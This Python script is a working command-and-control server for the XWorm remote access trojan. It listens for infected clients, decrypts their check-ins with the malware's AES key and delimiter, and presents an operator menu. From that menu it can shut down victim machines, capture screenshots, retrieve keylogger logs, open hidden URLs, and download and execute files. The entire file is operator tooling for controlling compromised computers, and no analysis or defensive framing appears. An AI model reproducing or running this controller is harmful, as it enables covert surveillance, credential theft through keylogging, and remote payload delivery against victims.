import socket
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import os
import time
import select
import gzip
import struct
        

SPLConfig = "<Xwormmm>"
key = b"<123456789>"



class Helper:
    @staticmethod
    def BS(data):
        return data.decode("UTF-8")
    @staticmethod
    def AES_Decryptor(data):
        key = hashlib.md5(b"<123456789>").digest() 
        cipher = AES.new(key, AES.MODE_ECB) 
        while data:
            try:
                try_data = cipher.decrypt(data).rstrip(b"\x00")
                return try_data 
            except Exception as e:
                data = data[1:]
        return None
    

    
    @staticmethod
    def AES_Encryptor(input_data):
        try:
            key = hashlib.md5(b"<123456789>").digest()
            cipher = AES.new(key, AES.MODE_ECB)
            padded_data = pad(input_data, AES.block_size)
            encrypted_data = cipher.encrypt(padded_data)
            return encrypted_data
        except Exception as ex:
            print(f"Encryption error: {ex}")
            return None

def start_server():
    host = '0.0.0.0' 
    port = 8078      
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind((host, port))
    server_socket.listen(5)

    print(f"Server is listening on {host}:{port}...")

    while True:
        client_socket, client_address = server_socket.accept()
        print(f"Connection established with {client_address}")
        data = client_socket.recv(1024)
        if not data:
            break
        null_pos = data.find(b'\x00')
        if null_pos == -1:
            raise ValueError("Null terminator not found")

        length_str = data[:null_pos].decode()
        length = int(length_str)

        encrypted_data = data[null_pos + 1:null_pos + 1 + length]
        print(Helper.BS(Helper.AES_Decryptor(encrypted_data)).replace(SPLConfig,"\n"))
        break
    interactive(client_socket)
    #client_socket.close()



def interactive(client_socket):
    options = ["Shutdown","Restart","ScreenShot","Keylogger","GetURL_Hidden_mode","GetURL","Download&Execute","Exit"]
    while(True):
        for option in options:
            print(f"[+] {option}")
        
        choice = input("Enter your choice: ")
        cases = {
            "1": "Shutdown",
            "2": "Restart",
            "3": "ScreenShot",
            "4": "Keylogger",
            "5": "GetURL_Hidden_mode",
            "6": "GetURL",
            "7": "Download&Execute",
            "8": "Exit"
        }
        if choice not in cases:
            print("Invalid choice. Please try again.")
            continue
        
        if choice == "1" or choice == "Shutdown":
            Send_data = str(len(Helper.AES_Encryptor(b"PCShutdown"))).encode()+ b'\x00' + Helper.AES_Encryptor(b"PCShutdown")
            client_socket.send(Send_data)
        elif choice == "2" or choice == "Restart":
            Send_data = str(len(Helper.AES_Encryptor(b"PCRestart"))).encode()+ b'\x00' + Helper.AES_Encryptor(b"PCRestart")
            client_socket.send(Send_data)
        elif choice == "3" or choice == "ScreenShot":
            Send_data = str(len(Helper.AES_Encryptor(b"$Cap"))).encode()+ b'\x00' + Helper.AES_Encryptor(b"$Cap")
            client_socket.send(Send_data)
            Data = recv_all(client_socket)
            Data = Helper.AES_Decryptor(Data)
            decompress_image(Data)
        elif choice == "4" or choice == "KeyLogger":
            Send_data = str(len(Helper.AES_Encryptor(b"OfflineGet"))).encode()+ b'\x00' + Helper.AES_Encryptor(b"OfflineGet")
            client_socket.send(Send_data)
            Data = recv_all(client_socket)
            Data = Helper.AES_Decryptor(Data)
            with open("Keylogger_data.bin", "wb") as f:
                f.write(Data)
        elif choice == "5" or choice == "GetURL_Hidden_mode":
            URL = input("Enter URL: ").strip()
            command = "Urlhide" + SPLConfig +URL
            command = command.encode()
            Send_data = str(len(Helper.AES_Encryptor(command))).encode()+ b'\x00' + Helper.AES_Encryptor(command)
            client_socket.send(Send_data)
        elif choice == "6" or choice == "GetURL":
            URL = input("Enter URL: ").strip()
            command = "Urlopen" + SPLConfig +URL
            command = command.encode()
            Send_data = str(len(Helper.AES_Encryptor(command))).encode()+ b'\x00' + Helper.AES_Encryptor(command)
            client_socket.send(Send_data)
        elif choice == "7" or choice == "Download&Execute":
            Filename = input("Enter File Name: ").strip()
            URL = input("Enter URL: ").strip()
            command = "LN" + SPLConfig +Filename + SPLConfig + URL
            command = command.encode()
            Send_data = str(len(Helper.AES_Encryptor(command))).encode()+ b'\x00' + Helper.AES_Encryptor(command)
            client_socket.send(Send_data)
        elif choice == "8" or choice == "Exit":
            client_socket.close()
            break


def decompress_image(data: bytes):
    gzip_header = b'\x1f\x8b'
    header_index = data.find(gzip_header)
    
    if header_index == -1:
        raise ValueError("GZIP header not found in data")
    gzip_data = data[header_index:]
    while(gzip_data):
        try:
            decompressed_data = gzip.decompress(gzip_data)
            with open("Screenshot.jpg", "wb") as f:
                f.write(decompressed_data)
            file_size = os.path.getsize("Screenshot.jpg")
            if file_size > 0:
                print("Screenshot saved as Screenshot.jpg")
                break
        except Exception as e:
            gzip_data = gzip_data[:-2]



def recv_all(sock, buffer_size=1024, timeout=6):
    data = b""
    sock.setblocking(0)
    end_time = time.time() + timeout

    while time.time() < end_time:
        ready = select.select([sock], [], [], timeout)
        if ready[0]:
            part = sock.recv(buffer_size)
            if not part:
                break
            data += part
        else:
            break

    return data



if __name__ == "__main__":
    start_server()